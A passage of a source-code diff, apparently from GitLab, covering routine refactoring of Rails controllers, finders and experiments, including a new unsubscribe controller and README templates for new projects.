experiment(:code_quality_walkthrough, namespace: project.root_ancestor) do |e|
e.exclude! unless current_user
diff --git a/app/controllers/projects/prometheus/metrics_controller.rb b/app/controllers/projects/prometheus/metrics_controller.rb
index d70d29a341f..f3a3d22244c 100644
--- a/app/controllers/projects/prometheus/metrics_controller.rb
+++ b/app/controllers/projects/prometheus/metrics_controller.rb
@@ -66,7 +66,7 @@ module Projects
)
if @metric.persisted?
- redirect_to edit_project_service_path(project, ::PrometheusService),
+ redirect_to edit_project_service_path(project, ::Integrations::Prometheus),
notice: _('Metric was successfully added.')
else
render 'new'
@@ -77,7 +77,7 @@ module Projects
@metric = update_metrics_service(prometheus_metric).execute
if @metric.persisted?
- redirect_to edit_project_service_path(project, ::PrometheusService),
+ redirect_to edit_project_service_path(project, ::Integrations::Prometheus),
notice: _('Metric was successfully updated.')
else
render 'edit'
@@ -93,7 +93,7 @@ module Projects
respond_to do |format|
format.html do
- redirect_to edit_project_service_path(project, ::PrometheusService), status: :see_other
+ redirect_to edit_project_service_path(project, ::Integrations::Prometheus), status: :see_other
end
format.json do
head :ok
diff --git a/app/controllers/projects/releases_controller.rb b/app/controllers/projects/releases_controller.rb
index f01d10f4afa..be2abc5cddf 100644
--- a/app/controllers/projects/releases_controller.rb
+++ b/app/controllers/projects/releases_controller.rb
@@ -25,12 +25,6 @@ class Projects::ReleasesController < Projects::ApplicationController
end
end
- def new
- unless Feature.enabled?(:new_release_page, project, default_enabled: true)
- redirect_to(new_project_tag_path(@project))
- end
- end
-
def downloads
redirect_to link.url
end
diff --git a/app/controllers/projects/repositories_controller.rb b/app/controllers/projects/repositories_controller.rb
index 8f64a8aa1d3..8beebb52980 100644
--- a/app/controllers/projects/repositories_controller.rb
+++ b/app/controllers/projects/repositories_controller.rb
@@ -117,7 +117,7 @@ class Projects::RepositoriesController < Projects::ApplicationController
# from Redis.
def extract_ref_and_filename(id)
path = id.strip
- data = path.match(/(.*)\/(.*)/)
+ data = path.match(%r{(.*)/(.*)})
if data
[data[1], data[2]]
diff --git a/app/controllers/projects/runners_controller.rb b/app/controllers/projects/runners_controller.rb
index ec1f57f090a..e841c3e3d49 100644
--- a/app/controllers/projects/runners_controller.rb
+++ b/app/controllers/projects/runners_controller.rb
@@ -6,7 +6,7 @@ class Projects::RunnersController < Projects::ApplicationController
layout 'project_settings'
- feature_category :continuous_integration
+ feature_category :runner
def index
redirect_to project_settings_ci_cd_path(@project, anchor: 'js-runners-settings')
@@ -51,14 +51,14 @@ class Projects::RunnersController < Projects::ApplicationController
end
def toggle_shared_runners
- if !project.shared_runners_enabled && project.group && project.group.shared_runners_setting == 'disabled_and_unoverridable'
- render json: { error: _('Cannot enable shared runners because parent group does not allow it') }, status: :unauthorized
- return
- end
-
- project.toggle!(:shared_runners_enabled)
+ update_params = { shared_runners_enabled: !project.shared_runners_enabled }
+ result = Projects::UpdateService.new(project, current_user, update_params).execute
- render json: {}, status: :ok
+ if result[:status] == :success
+ render json: {}, status: :ok
+ else
+ render json: { error: result[:message] }, status: :unauthorized
+ end
end
def toggle_group_runners
diff --git a/app/controllers/projects/service_hook_logs_controller.rb b/app/controllers/projects/service_hook_logs_controller.rb
index 5c814ea139f..88de0b7ba0d 100644
--- a/app/controllers/projects/service_hook_logs_controller.rb
+++ b/app/controllers/projects/service_hook_logs_controller.rb
@@ -1,20 +1,23 @@
# frozen_string_literal: true
class Projects::ServiceHookLogsController < Projects::HookLogsController
- before_action :service, only: [:show, :retry]
+ extend Gitlab::Utils::Override
+
+ before_action :integration, only: [:show, :retry]
def retry
execute_hook
- redirect_to edit_project_service_path(@project, @service)
+ redirect_to edit_project_service_path(@project, @integration)
end
private
- def hook
- @hook ||= service.service_hook
+ def integration
+ @integration ||= @project.find_or_initialize_integration(params[:service_id])
end
- def service
- @service ||= @project.find_or_initialize_service(params[:service_id])
+ override :hook
+ def hook
+ @hook ||= integration.service_hook || not_found
end
end
diff --git a/app/controllers/projects/service_ping_controller.rb b/app/controllers/projects/service_ping_controller.rb
new file mode 100644
index 00000000000..00530c09be8
--- /dev/null
+++ b/app/controllers/projects/service_ping_controller.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class Projects::ServicePingController < Projects::ApplicationController
+ before_action :authenticate_user!
+
+ feature_category :service_ping
+
+ def web_ide_clientside_preview
+ return render_404 unless Gitlab::CurrentSettings.web_ide_clientside_preview_enabled?
+
+ Gitlab::UsageDataCounters::WebIdeCounter.increment_previews_count
+
+ head(200)
+ end
+
+ def web_ide_pipelines_count
+ Gitlab::UsageDataCounters::WebIdeCounter.increment_pipelines_count
+
+ head(200)
+ end
+end
diff --git a/app/controllers/projects/services_controller.rb b/app/controllers/projects/services_controller.rb
index cad13d7e708..ef6d96e8737 100644
--- a/app/controllers/projects/services_controller.rb
+++ b/app/controllers/projects/services_controller.rb
@@ -9,8 +9,8 @@ class Projects::ServicesController < Projects::ApplicationController
before_action :ensure_service_enabled
before_action :integration
before_action :web_hook_logs, only: [:edit, :update]
- before_action :set_deprecation_notice_for_prometheus_service, only: [:edit, :update]
- before_action :redirect_deprecated_prometheus_service, only: [:update]
+ before_action :set_deprecation_notice_for_prometheus_integration, only: [:edit, :update]
+ before_action :redirect_deprecated_prometheus_integration, only: [:update]
respond_to :html
@@ -46,7 +46,7 @@ class Projects::ServicesController < Projects::ApplicationController
end
def test
- if integration.can_test?
+ if integration.testable?
render json: service_test_response, status: :ok
else
render json: {}, status: :not_found
@@ -84,7 +84,7 @@ class Projects::ServicesController < Projects::ApplicationController
end
def integration
- @integration ||= @project.find_or_initialize_service(params[:id])
+ @integration ||= @project.find_or_initialize_integration(params[:id])
end
alias_method :service, :integration
@@ -104,15 +104,15 @@ class Projects::ServicesController < Projects::ApplicationController
.merge(errors: integration.errors.as_json)
end
- def redirect_deprecated_prometheus_service
- redirect_to edit_project_service_path(project, integration) if integration.is_a?(::PrometheusService) && Feature.enabled?(:settings_operations_prometheus_service, project)
+ def redirect_deprecated_prometheus_integration
+ redirect_to edit_project_service_path(project, integration) if integration.is_a?(::Integrations::Prometheus) && Feature.enabled?(:settings_operations_prometheus_service, project)
end
- def set_deprecation_notice_for_prometheus_service
- return if !integration.is_a?(::PrometheusService) || !Feature.enabled?(:settings_operations_prometheus_service, project)
+ def set_deprecation_notice_for_prometheus_integration
+ return if !integration.is_a?(::Integrations::Prometheus) || !Feature.enabled?(:settings_operations_prometheus_service, project)
operations_link_start = "<a href=\"#{project_settings_operations_path(project)}\">"
- message = s_('PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated.') % { operations_link_start: operations_link_start, operations_link_end: "</a>" }
+ message = s_('PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page have been deprecated.') % { operations_link_start: operations_link_start, operations_link_end: "</a>" }
flash.now[:alert] = message.html_safe
end
end
diff --git a/app/controllers/projects/settings/access_tokens_controller.rb b/app/controllers/projects/settings/access_tokens_controller.rb
index e3bb8c616df..1ecede4c7a2 100644
--- a/app/controllers/projects/settings/access_tokens_controller.rb
+++ b/app/controllers/projects/settings/access_tokens_controller.rb
@@ -50,13 +50,17 @@ module Projects
end
def create_params
- params.require(:project_access_token).permit(:name, :expires_at, scopes: [])
+ params.require(:project_access_token).permit(:name, :expires_at, :access_level, scopes: [])
end
def set_index_vars
+ # Loading project members so that we can fetch access level of the bot
+ # user in the project without multiple queries.
+ @project.project_members.load
+
@scopes = Gitlab::Auth.resource_bot_scopes
- @active_project_access_tokens = finder(state: 'active').execute
- @inactive_project_access_tokens = finder(state: 'inactive', sort: 'expires_at_asc').execute
+ @active_project_access_tokens = finder(state: 'active').execute.preload_users
+ @inactive_project_access_tokens = finder(state: 'inactive', sort: 'expires_at_asc').execute.preload_users
@new_project_access_token = PersonalAccessToken.redis_getdel(key_identity)
end
diff --git a/app/controllers/projects/settings/ci_cd_controller.rb b/app/controllers/projects/settings/ci_cd_controller.rb
index 3254d4129d3..960c0beb244 100644
--- a/app/controllers/projects/settings/ci_cd_controller.rb
+++ b/app/controllers/projects/settings/ci_cd_controller.rb
@@ -12,6 +12,7 @@ module Projects
before_action :define_variables
before_action do
push_frontend_feature_flag(:ajax_new_deploy_token, @project)
+ push_frontend_feature_flag(:ci_scoped_job_token, @project, default_enabled: :yaml)
end
helper_method :highlight_badge
diff --git a/app/controllers/projects/settings/integrations_controller.rb b/app/controllers/projects/settings/integrations_controller.rb
index e54f4c511db..c9d92d1aee9 100644
--- a/app/controllers/projects/settings/integrations_controller.rb
+++ b/app/controllers/projects/settings/integrations_controller.rb
@@ -9,7 +9,7 @@ module Projects
feature_category :integrations
def show
- @integrations = @project.find_or_initialize_services
+ @integrations = @project.find_or_initialize_integrations
end
end
end
diff --git a/app/controllers/projects/settings/packages_and_registries_controller.rb b/app/controllers/projects/settings/packages_and_registries_controller.rb
index fee51dc1311..8f0a19cfac5 100644
--- a/app/controllers/projects/settings/packages_and_registries_controller.rb
+++ b/app/controllers/projects/settings/packages_and_registries_controller.rb
@@ -16,7 +16,12 @@ module Projects
private
def packages_and_registries_settings_enabled!
- render_404 unless settings_packages_and_registries_enabled?(project)
+ render_404 unless can_destroy_container_registry_image?(project)
+ end
+
+ def can_destroy_container_registry_image?(project)
+ Gitlab.config.registry.enabled &&
+ can?(current_user, :destroy_container_image, project)
end
end
end
diff --git a/app/controllers/projects/tree_controller.rb b/app/controllers/projects/tree_controller.rb
index b5cfc3990b2..475c9de2503 100644
--- a/app/controllers/projects/tree_controller.rb
+++ b/app/controllers/projects/tree_controller.rb
@@ -39,6 +39,10 @@ class Projects::TreeController < Projects::ApplicationController
private
+ def redirect_renamed_default_branch?
+ action_name == 'show'
+ end
+
def assign_dir_vars
@branch_name = params[:branch_name]
diff --git a/app/controllers/projects/usage_ping_controller.rb b/app/controllers/projects/usage_ping_controller.rb
deleted file mode 100644
index 77ee53f2e5d..00000000000
--- a/app/controllers/projects/usage_ping_controller.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-class Projects::UsagePingController < Projects::ApplicationController
- before_action :authenticate_user!
-
- feature_category :usage_ping
-
- def web_ide_clientside_preview
- return render_404 unless Gitlab::CurrentSettings.web_ide_clientside_preview_enabled?
-
- Gitlab::UsageDataCounters::WebIdeCounter.increment_previews_count
-
- head(200)
- end
-
- def web_ide_pipelines_count
- Gitlab::UsageDataCounters::WebIdeCounter.increment_pipelines_count
-
- head(200)
- end
-end
diff --git a/app/controllers/projects/variables_controller.rb b/app/controllers/projects/variables_controller.rb
index d8efc1b7b54..f93c75a203e 100644
--- a/app/controllers/projects/variables_controller.rb
+++ b/app/controllers/projects/variables_controller.rb
@@ -3,7 +3,7 @@
class Projects::VariablesController < Projects::ApplicationController
before_action :authorize_admin_build!
- feature_category :continuous_integration
+ feature_category :pipeline_authoring
def show
respond_to do |format|
diff --git a/app/controllers/projects_controller.rb b/app/controllers/projects_controller.rb
index 53d80b8be58..0dbf7d40f87 100644
--- a/app/controllers/projects_controller.rb
+++ b/app/controllers/projects_controller.rb
@@ -37,11 +37,7 @@ class ProjectsController < Projects::ApplicationController
before_action do
push_frontend_feature_flag(:refactor_blob_viewer, @project, default_enabled: :yaml)
- end
-
- before_action only: [:new] do
- # Run experiment before render so it will be written to the `gon` for FE
- helpers.new_repo_experiment_text
+ push_frontend_feature_flag(:increase_page_size_exponentially, @project, default_enabled: :yaml)
end
layout :determine_layout
@@ -78,7 +74,6 @@ class ProjectsController < Projects::ApplicationController
@project = ::Projects::CreateService.new(current_user, project_params(attributes: project_params_create_attributes)).execute
if @project.saved?
- experiment(:new_repo, user: current_user).track(:project_created)
experiment(:new_project_readme, actor: current_user).track(
:created,
property: active_new_project_tab,
@@ -162,6 +157,7 @@ class ProjectsController < Projects::ApplicationController
format.atom do
load_events
+ @events = @events.select { |event| event.visible_to_user?(current_user) }
render layout: 'xml.atom'
end
end
@@ -378,8 +374,6 @@ class ProjectsController < Projects::ApplicationController
.new(projects, offset: params[:offset].to_i, filter: event_filter)
.to_a
.map(&:present)
-
- Events::RenderService.new(current_user).execute(@events, atom_request: request.format.atom?)
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/controllers/registrations/experience_levels_controller.rb b/app/controllers/registrations/experience_levels_controller.rb
index d04e8d296ed..3c94bce126c 100644
--- a/app/controllers/registrations/experience_levels_controller.rb
+++ b/app/controllers/registrations/experience_levels_controller.rb
@@ -2,7 +2,7 @@
module Registrations
class ExperienceLevelsController < ApplicationController
- layout 'signup_onboarding'
+ layout 'minimal'
before_action :ensure_namespace_path_param
diff --git a/app/controllers/registrations/invites_controller.rb b/app/controllers/registrations/invites_controller.rb
deleted file mode 100644
index 548714e80e9..00000000000
--- a/app/controllers/registrations/invites_controller.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-module Registrations
- class InvitesController < RegistrationsController
- layout 'simple_registration'
-
- before_action :check_if_gl_com_or_dev
- end
-end
diff --git a/app/controllers/registrations/welcome_controller.rb b/app/controllers/registrations/welcome_controller.rb
index 34283cc8db7..303ee431a4d 100644
--- a/app/controllers/registrations/welcome_controller.rb
+++ b/app/controllers/registrations/welcome_controller.rb
@@ -2,7 +2,7 @@
module Registrations
class WelcomeController < ApplicationController
- layout 'welcome'
+ layout 'minimal'
skip_before_action :authenticate_user!, :required_signup_info, :check_two_factor_requirement, only: [:show, :update]
before_action :require_current_user
diff --git a/app/controllers/registrations_controller.rb b/app/controllers/registrations_controller.rb
index cacd3c2da64..7b1060eba8f 100644
--- a/app/controllers/registrations_controller.rb
+++ b/app/controllers/registrations_controller.rb
@@ -199,7 +199,6 @@ class RegistrationsController < Devise::RegistrationsController
return unless member
- experiment(:invite_signup_page_interaction, actor: member).track(:form_submission)
experiment('members/invite_email', actor: member).track(:accepted)
end
diff --git a/app/controllers/repositories/git_http_controller.rb b/app/controllers/repositories/git_http_controller.rb
index 11a219b4ff0..e51bfe6a37e 100644
--- a/app/controllers/repositories/git_http_controller.rb
+++ b/app/controllers/repositories/git_http_controller.rb
@@ -84,11 +84,7 @@ module Repositories
return if Feature.enabled?(:disable_git_http_fetch_writes)
- if Feature.enabled?(:project_statistics_sync, project, default_enabled: true)
- Projects::FetchStatisticsIncrementService.new(project).execute
- else
- ProjectDailyStatisticsWorker.perform_async(project.id) # rubocop:disable CodeReuse/Worker
- end
+ Projects::FetchStatisticsIncrementService.new(project).execute
end
def access
diff --git a/app/controllers/search_controller.rb b/app/controllers/search_controller.rb
index ac6239615b4..4160b528301 100644
--- a/app/controllers/search_controller.rb
+++ b/app/controllers/search_controller.rb
@@ -16,6 +16,8 @@ class SearchController < ApplicationController
search_term_present && !params[:project_id].present?
end
+ rescue_from ActiveRecord::QueryCanceled, with: :render_timeout
+
layout 'search'
feature_category :global_search
@@ -150,6 +152,15 @@ class SearchController < ApplicationController
redirect_to new_user_session_path, alert: _('You must be logged in to search across all of GitLab')
end
+
+ def render_timeout(exception)
+ raise exception unless action_name.to_sym == :show
+
+ log_exception(exception)
+
+ @timeout = true
+ render status: :request_timeout
+ end
end
SearchController.prepend_mod_with('SearchController')
diff --git a/app/controllers/users/unsubscribes_controller.rb b/app/controllers/users/unsubscribes_controller.rb
new file mode 100644
index 00000000000..9ac07083cd5
--- /dev/null
+++ b/app/controllers/users/unsubscribes_controller.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Users
+ class UnsubscribesController < ApplicationController
+ skip_before_action :authenticate_user!
+
+ feature_category :users
+
+ def show
+ @user = get_user
+ end
+
+ def create
+ @user = get_user
+
+ if @user
+ @user.admin_unsubscribe!
+ Notify.send_unsubscribed_notification(@user.id).deliver_later
+ end
+
+ redirect_to new_user_session_path, notice: 'You have been unsubscribed'
+ end
+
+ protected
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def get_user
+ @email = Base64.urlsafe_decode64(params[:email])
+ User.find_by(email: @email)
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+ end
+end
diff --git a/app/experiments/application_experiment.rb b/app/experiments/application_experiment.rb
index 53ea8ea2d3a..4ebf4a80498 100644
--- a/app/experiments/application_experiment.rb
+++ b/app/experiments/application_experiment.rb
@@ -10,45 +10,49 @@ class ApplicationExperiment < Gitlab::Experiment # rubocop:disable Gitlab/Namesp
end
def publish(_result = nil)
- return unless should_track? # don't track events for excluded contexts
+ super
- record_experiment if @record # record the subject in the database if the context contains a namespace, group, project, actor or user
-
- track(:assignment) # track that we've assigned a variant for this context
-
- push_to_client
+ publish_to_client if should_track? # publish the experiment data to the client
+ publish_to_database if @record # publish the experiment context to the database
end
- # push the experiment data to the client
- def push_to_client
+ def publish_to_client
Gon.push({ experiment: { name => signature } }, true)
rescue NoMethodError
# means we're not in the request cycle, and can't add to Gon. Log a warning maybe?
end
- def track(action, **event_args)
- return unless should_track? # don't track events for excluded contexts
+ def publish_to_database
+ # if the context contains a namespace, group, project, user, or actor
+ value = context.value
+ subject = value[:namespace] || value[:group] || value[:project] || value[:user] || value[:actor]
+ return unless ExperimentSubject.valid_subject?(subject)
- # track the event, and mix in the experiment signature data
- Gitlab::Tracking.event(name, action.to_s, **event_args.merge(
- context: (event_args[:context] || []) << SnowplowTracker::SelfDescribingJson.new(
- 'iglu:com.gitlab/gitlab_experiment/jsonschema/1-0-0', signature
- )
- ))
+ variant = :experimental if @variant_name != :control
+ Experiment.add_subject(name, variant: variant || :control, subject: subject)
end
def record!
@record = true
end
- def exclude!
- @excluded = true
- end
-
def control_behavior
# define a default nil control behavior so we can omit it when not needed
end
+ # TODO: remove
+ # This is deprecated logic as of v0.6.0 and should eventually be removed, but
+ # needs to stay intact for actively running experiments. The new strategy
+ # utilizes Digest::SHA2, a secret seed, and generates a 64-byte string.
+ def key_for(source, seed = name)
+ source = source.keys + source.values if source.is_a?(Hash)
+
+ ingredients = Array(source).map { |v| identify(v) }
+ ingredients.unshift(seed)
+
+ Digest::MD5.hexdigest(ingredients.join('|'))
+ end
+
private
def feature_flag_name
@@ -58,13 +62,4 @@ class ApplicationExperiment < Gitlab::Experiment # rubocop:disable Gitlab/Namesp
def experiment_group?
Feature.enabled?(feature_flag_name, self, type: :experiment, default_enabled: :yaml)
end
-
- def record_experiment
- subject = context.value[:namespace] || context.value[:group] || context.value[:project] || context.value[:user] || context.value[:actor]
- return unless ExperimentSubject.valid_subject?(subject)
-
- variant = :experimental if @variant_name != :control
-
- Experiment.add_subject(name, variant: variant || :control, subject: subject)
- end
end
diff --git a/app/experiments/new_project_readme_content_experiment.rb b/app/experiments/new_project_readme_content_experiment.rb
new file mode 100644
index 00000000000..f86803db093
--- /dev/null
+++ b/app/experiments/new_project_readme_content_experiment.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class NewProjectReadmeContentExperiment < ApplicationExperiment # rubocop:disable Gitlab/NamespacedClass
+ TEMPLATE_PATH = Rails.root.join('app', 'experiments', 'templates', 'new_project_readme_content')
+ include Rails.application.routes.url_helpers
+
+ def run_with(project, variant: nil)
+ @project = project
+ record!
+ run(variant)
+ end
+
+ def control_behavior
+ template('readme_basic.md')
+ end
+
+ def advanced_behavior
+ template('readme_advanced.md')
+ end
+
+ def redirect(to_url)
+ experiment_redirect_url(self, to_url)
+ end
+
+ private
+
+ def template(name)
+ ERB.new(File.read(TEMPLATE_PATH.join("#{name}.tt")), trim_mode: '<>').result(binding)
+ end
+end
diff --git a/app/experiments/templates/new_project_readme_content/readme_advanced.md.tt b/app/experiments/templates/new_project_readme_content/readme_advanced.md.tt
new file mode 100644
index 00000000000..70a32ba6f03
--- /dev/null
+++ b/app/experiments/templates/new_project_readme_content/readme_advanced.md.tt
@@ -0,0 +1,90 @@
+# <%= @project.name %>
+
+<%= @project.description %>
+
+
+## Getting started
+
+To make it easy for you to get started with GitLab, here's a list of recommended next steps.
+
+Already a pro? Just edit this README.md and make it your own. Want to make it easy? [Use the template at the bottom](#editing-this-readme)!
+
+## Add your files
+
+- [ ] [Create](<%= redirect("https://docs.gitlab.com/ee/user/project/repository/web_editor.html#create-a-file") %>) or [upload](<%= redirect("https://docs.gitlab.com/ee/user/project/repository/web_editor.html#upload-a-file") %>) files
+- [ ] [Add files using the command line](<%= redirect("https://docs.gitlab.com/ee/gitlab-basics/add-file.html#add-a-file-using-the-command-line") %>) or push an existing Git repository with the following command:
+
+```
+cd existing_repo
+git remote add origin <%= @project.http_url_to_repo %>
+git branch -M <%= @project.default_branch_or_main %>
+git push -uf origin <%= @project.default_branch_or_main %>
+```
+
+## Integrate with your tools
+
+- [ ] [Set up project integrations](<%= redirect("https://docs.gitlab.com/ee/user/project/integrations/") %>)
+
+## Collaborate with your team
+
+- [ ] [Invite team members and collaborators](<%= redirect("https://docs.gitlab.com/ee/user/project/members/") %>)
+- [ ] [Create a new merge request](<%= redirect("https://docs.gitlab.com/ee/user/project/merge_requests/creating_merge_requests.html") %>)
+- [ ] [Automatically close issues from merge requests](<%= redirect("https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#closing-issues-automatically") %>)
+- [ ] [Automatically merge when pipeline succeeds](<%= redirect("https://docs.gitlab.com/ee/user/project/merge_requests/merge_when_pipeline_succeeds.html") %>)
+
+## Test and Deploy
+
+Use the built-in continuous integration in GitLab.
+
+- [ ] [Get started with GitLab CI/CD](<%= redirect("https://docs.gitlab.com/ee/ci/quick_start/index.html") %>)
+- [ ] [Analyze your code for known vulnerabilities with Static Application Security Testing(SAST)](<%= redirect("https://docs.gitlab.com/ee/user/application_security/sast/") %>)
+
+***
+
+# Editing this README
+
+When you're ready to make this README your own, just edit this file and use the handy template below (or feel free to structure it however you want - this is just a starting point!). Thank you to [makeareadme.com](<%= redirect("https://www.makeareadme.com/") %>) for this template.
+
+## Suggestions for a good README
+Every project is different, so consider which of these sections apply to yours. The sections used in the template are suggestions for most open source projects. Also keep in mind that while a README can be too long and detailed, too long is better than too short. If you think your README is too long, consider utilizing another form of documentation rather than cutting out information.
+
+## Name
+Choose a self-explaining name for your project.
+
+## Description
+Let people know what your project can do specifically. Provide context and add a link to any reference visitors might be unfamiliar with. A list of Features or a Background subsection can also be added here. If there are alternatives to your project, this is a good place to list differentiating factors.
+
+## Badges
+On some READMEs, you may see small images that convey metadata, such as whether or not all the tests are passing for the project. You can use Shields to add some to your README. Many services also have instructions for adding a badge.
+
+## Visuals
+Depending on what you are making, it can be a good idea to include screenshots or even a video (you'll frequently see GIFs rather than actual videos). Tools like ttygif can help, but check out Asciinema for a more sophisticated method.
+
+## Installation
+Within a particular ecosystem, there may be a common way of installing things, such as using Yarn, NuGet, or Homebrew. However, consider the possibility that whoever is reading your README is a novice and would like more guidance. Listing specific steps helps remove ambiguity and gets people to using your project as quickly as possible. If it only runs in a specific context like a particular programming language version or operating system or has dependencies that have to be installed manually, also add a Requirements subsection.
+
+## Usage
+Use examples liberally, and show the expected output if you can. It's helpful to have inline the smallest example of usage that you can demonstrate, while providing links to more sophisticated examples if they are too long to reasonably include in the README.
+
+## Support
+Tell people where they can go to for help. It can be any combination of an issue tracker, a chat room, an email address, etc.
+
+## Roadmap
+If you have ideas for releases in the future, it is a good idea to list them in the README.
+
+## Contributing
+State if you are open to contributions and what your requirements are for accepting them.
+
+For people who want to make changes to your project, it's helpful to have some documentation on how to get started. Perhaps there is a script that they should run or some environment variables that they need to set. Make these steps explicit. These instructions could also be useful to your future self.
+
+You can also document commands to lint the code or run tests. These steps help to ensure high code quality and reduce the likelihood that the changes inadvertently break something. Having instructions for running tests is especially helpful if it requires external setup, such as starting a Selenium server for testing in a browser.
+
+## Authors and acknowledgment
+Show your appreciation to those who have contributed to the project.
+
+## License
+For open source projects, say how it is licensed.
+
+## Project status
+If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.
+
diff --git a/app/experiments/templates/new_project_readme_content/readme_basic.md.tt b/app/experiments/templates/new_project_readme_content/readme_basic.md.tt
new file mode 100644
index 00000000000..1e68eaf2f05
--- /dev/null
+++ b/app/experiments/templates/new_project_readme_content/readme_basic.md.tt
@@ -0,0 +1,3 @@
+# <%= @project.name %>
+
+<%= @project.description %>
diff --git a/app/finders/bulk_imports/entities_finder.rb b/app/finders/bulk_imports/entities_finder.rb
new file mode 100644
index 00000000000..2947d155668
--- /dev/null
+++ b/app/finders/bulk_imports/entities_finder.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module BulkImports
+ class EntitiesFinder
+ def initialize(user:, bulk_import: nil, status: nil)
+ @user = user
+ @bulk_import = bulk_import
+ @status = status
+ end
+
+ def execute
+ ::BulkImports::Entity
+ .preload(:failures) # rubocop: disable CodeReuse/ActiveRecord
+ .by_user_id(user.id)
+ .then(&method(:filter_by_bulk_import))
+ .then(&method(:filter_by_status))
+ end
+
+ private
+
+ attr_reader :user, :bulk_import, :status
+
+ def filter_by_bulk_import(entities)
+ return entities unless bulk_import
+
+ entities.where(bulk_import_id: bulk_import.id) # rubocop: disable CodeReuse/ActiveRecord
+ end
+
+ def filter_by_status(entities)
+ return entities unless ::BulkImports::Entity.all_human_statuses.include?(status)
+
+ entities.with_status(status)
+ end
+ end
+end
diff --git a/app/finders/bulk_imports/imports_finder.rb b/app/finders/bulk_imports/imports_finder.rb
new file mode 100644
index 00000000000..b554bbfa5e7
--- /dev/null
+++ b/app/finders/bulk_imports/imports_finder.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module BulkImports
+ class ImportsFinder
+ def initialize(user:, status: nil)
+ @user = user
+ @status = status
+ end
+
+ def execute
+ filter_by_status(user.bulk_imports)
+ end
+
+ private
+
+ attr_reader :user, :status
+
+ def filter_by_status(imports)
+ return imports unless BulkImport.all_human_statuses.include?(status)
+
+ imports.with_status(status)
+ end
+ end
+end
diff --git a/app/finders/ci/pipelines_finder.rb b/app/finders/ci/pipelines_finder.rb
index af7b23278a4..d9fe5c23a7e 100644
--- a/app/finders/ci/pipelines_finder.rb
+++ b/app/finders/ci/pipelines_finder.rb
@@ -119,11 +119,12 @@ module Ci
# rubocop: disable CodeReuse/ActiveRecord
def by_username(items)
- if params[:username].present?
- items.joins(:user).where(users: { username: params[:username] })
- else
- items
- end
+ return items unless params[:username].present?
+
+ user_id = User.by_username(params[:username]).pluck_primary_key.first
+ return Ci::Pipeline.none unless user_id
+
+ items.where(user_id: user_id)
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/finders/ci/pipelines_for_merge_request_finder.rb b/app/finders/ci/pipelines_for_merge_request_finder.rb
index 6c5038128f8..f769da03738 100644
--- a/app/finders/ci/pipelines_for_merge_request_finder.rb
+++ b/app/finders/ci/pipelines_for_merge_request_finder.rb
@@ -47,8 +47,7 @@ module Ci
# rubocop: disable CodeReuse/ActiveRecord
def pipelines_using_cte
- sha_relation = merge_request.all_commits.select(:sha)
- sha_relation = sha_relation.distinct if Feature.enabled?(:use_distinct_in_shas_cte, default_enabled: :yaml)
+ sha_relation = merge_request.all_commits.select(:sha).distinct
cte = Gitlab::SQL::CTE.new(:shas, sha_relation)
diff --git a/app/finders/ci/runners_finder.rb b/app/finders/ci/runners_finder.rb
index 7ad51361efd..d34b3202433 100644
--- a/app/finders/ci/runners_finder.rb
+++ b/app/finders/ci/runners_finder.rb
@@ -19,8 +19,9 @@ module Ci
filter_by_runner_type!
filter_by_tag_list!
sort!
+ request_tag_list!
- @runners.with_tags
+ @runners
rescue Gitlab::Access::AccessDeniedError
Ci::Runner.none
@@ -73,6 +74,10 @@ module Ci
@runners = @runners.order_by(sort_key)
end
+ def request_tag_list!
+ @runners = @runners.with_tags if !@params[:preload].present? || @params.dig(:preload, :tag_name)
+ end
+
def filter_by!(scope_name, available_scopes)
scope = @params[scope_name]
diff --git a/app/finders/concerns/merged_at_filter.rb b/app/finders/concerns/merged_at_filter.rb
index e44354f36d1..581bcca3c25 100644
--- a/app/finders/concerns/merged_at_filter.rb
+++ b/app/finders/concerns/merged_at_filter.rb
@@ -10,7 +10,7 @@ module MergedAtFilter
mr_metrics_scope = mr_metrics_scope.merged_after(merged_after) if merged_after.present?
mr_metrics_scope = mr_metrics_scope.merged_before(merged_before) if merged_before.present?
- join_metrics(items, mr_metrics_scope)
+ items.join_metrics.merge(mr_metrics_scope)
end
def merged_after
@@ -20,22 +20,4 @@ module MergedAtFilter
def merged_before
params[:merged_before]
end
-
- # rubocop: disable CodeReuse/ActiveRecord
- #
- # This join optimizes merged_at queries when the finder is invoked for a project by moving
- # the target_project_id condition from merge_requests table to merge_request_metrics table.
- def join_metrics(items, mr_metrics_scope)
- scope = if project_id = items.where_values_hash["target_project_id"]
- # removing the original merge_requests.target_project_id condition
- items = items.unscope(where: :target_project_id)
- # adding the target_project_id condition to merge_request_metrics
- items.join_metrics(project_id)
- else
- items.join_metrics
- end
-
- scope.merge(mr_metrics_scope)
- end
- # rubocop: enable CodeReuse/ActiveRecord
end
diff --git a/app/finders/container_repositories_finder.rb b/app/finders/container_repositories_finder.rb
index 14e4d6799d8..1f6fa9aa1cc 100644
--- a/app/finders/container_repositories_finder.rb
+++ b/app/finders/container_repositories_finder.rb
@@ -25,8 +25,6 @@ class ContainerRepositoriesFinder
end
def project_repositories
- return unless @subject.container_registry_enabled
-
@subject.container_repositories
end
diff --git a/app/finders/environments/environments_finder.rb b/app/finders/environments/environments_finder.rb
index 190cdb3dec3..46c49f096c6 100644
--- a/app/finders/environments/environments_finder.rb
+++ b/app/finders/environments/environments_finder.rb
@@ -16,6 +16,7 @@ module Environments
environments = project.environments
environments = by_name(environments)
environments = by_search(environments)
